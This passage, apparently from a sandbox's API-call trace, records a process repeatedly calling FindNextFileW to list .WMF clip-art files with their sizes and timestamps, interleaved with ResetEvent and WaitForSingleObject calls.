hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0269.907] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0269.907] ResetEvent (hEvent=0x2b8) returned 1 [0269.907] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0269.961] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0269.961] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0269.961] ResetEvent (hEvent=0x2b8) returned 1 [0269.961] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.001] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe867602, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe867602, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe8d9e20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0270.001] ResetEvent (hEvent=0x2b8) returned 1 [0270.001] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.391] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe867602, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe867602, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe88d87c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0270.391] ResetEvent (hEvent=0x2b8) returned 1 [0270.391] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe867602, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe867602, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe8b3ab6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0270.399] ResetEvent (hEvent=0x2b8) returned 1 [0270.400] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.404] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe867602, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe867602, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0270.404] ResetEvent (hEvent=0x2b8) returned 1 [0270.404] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.418] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0270.418] ResetEvent (hEvent=0x2b8) returned 1 [0270.419] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.422] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe84140d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0270.422] ResetEvent (hEvent=0x2b8) returned 1 [0270.422] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.857] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe867602, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe867602, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe88d87c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0270.858] ResetEvent (hEvent=0x2b8) returned 1 [0270.858] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.863] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0270.863] ResetEvent (hEvent=0x2b8) returned 1 [0270.863] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.877] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0270.877] ResetEvent (hEvent=0x2b8) returned 1 [0270.877] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.887] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe84140d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe84140d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe867602, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0270.888] ResetEvent (hEvent=0x2b8) returned 1 [0270.888] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.896] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0270.896] ResetEvent (hEvent=0x2b8) returned 1 [0270.896] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0270.901] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe94c4b9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0270.901] ResetEvent (hEvent=0x2b8) returned 1 [0270.901] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.163] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0271.163] ResetEvent (hEvent=0x2b8) returned 1 [0271.163] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.173] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0271.173] ResetEvent (hEvent=0x2b8) returned 1 [0271.173] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.180] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe8fff80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe8fff80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0271.181] ResetEvent (hEvent=0x2b8) returned 1 [0271.181] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.186] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe88d87c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe88d87c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe8b3ab6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0271.186] ResetEvent (hEvent=0x2b8) returned 1 [0271.186] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.192] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe8fff80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe8fff80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0271.192] ResetEvent (hEvent=0x2b8) returned 1 [0271.192] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.198] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe8d9e20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe8d9e20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9261f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0271.198] ResetEvent (hEvent=0x2b8) returned 1 [0271.198] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.206] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe8b3ab6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe8b3ab6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe8fff80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0271.206] ResetEvent (hEvent=0x2b8) returned 1 [0271.206] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.218] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe88d87c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe88d87c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe8fff80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0271.218] ResetEvent (hEvent=0x2b8) returned 1 [0271.218] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.231] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0271.231] ResetEvent (hEvent=0x2b8) returned 1 [0271.232] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.242] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0271.242] ResetEvent (hEvent=0x2b8) returned 1 [0271.242] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.483] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea312e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea312e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0271.483] ResetEvent (hEvent=0x2b8) returned 1 [0271.483] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.495] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9e4dce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9e4dce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0271.495] ResetEvent (hEvent=0x2b8) returned 1 [0271.495] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.501] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9726d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9726d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0271.501] ResetEvent (hEvent=0x2b8) returned 1 [0271.501] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.511] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9726d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0271.511] ResetEvent (hEvent=0x2b8) returned 1 [0271.511] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.521] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe998993, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe998993, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0271.521] ResetEvent (hEvent=0x2b8) returned 1 [0271.521] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.533] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe94c4b9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe94c4b9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe998993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0271.534] ResetEvent (hEvent=0x2b8) returned 1 [0271.534] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.538] ResetEvent (hEvent=0x2b8) returned 1 [0271.538] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.551] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe9e4dce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0271.551] ResetEvent (hEvent=0x2b8) returned 1 [0271.551] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.763] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe9261f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe9261f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe94c4b9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0271.763] ResetEvent (hEvent=0x2b8) returned 1 [0271.764] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.778] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0271.779] ResetEvent (hEvent=0x2b8) returned 1 [0271.779] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.786] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0271.787] ResetEvent (hEvent=0x2b8) returned 1 [0271.787] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.791] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0271.791] ResetEvent (hEvent=0x2b8) returned 1 [0271.791] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.799] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xea574b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xea574b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xea574b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0271.799] ResetEvent (hEvent=0x2b8) returned 1 [0271.799] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0271.873] FindNextFileW 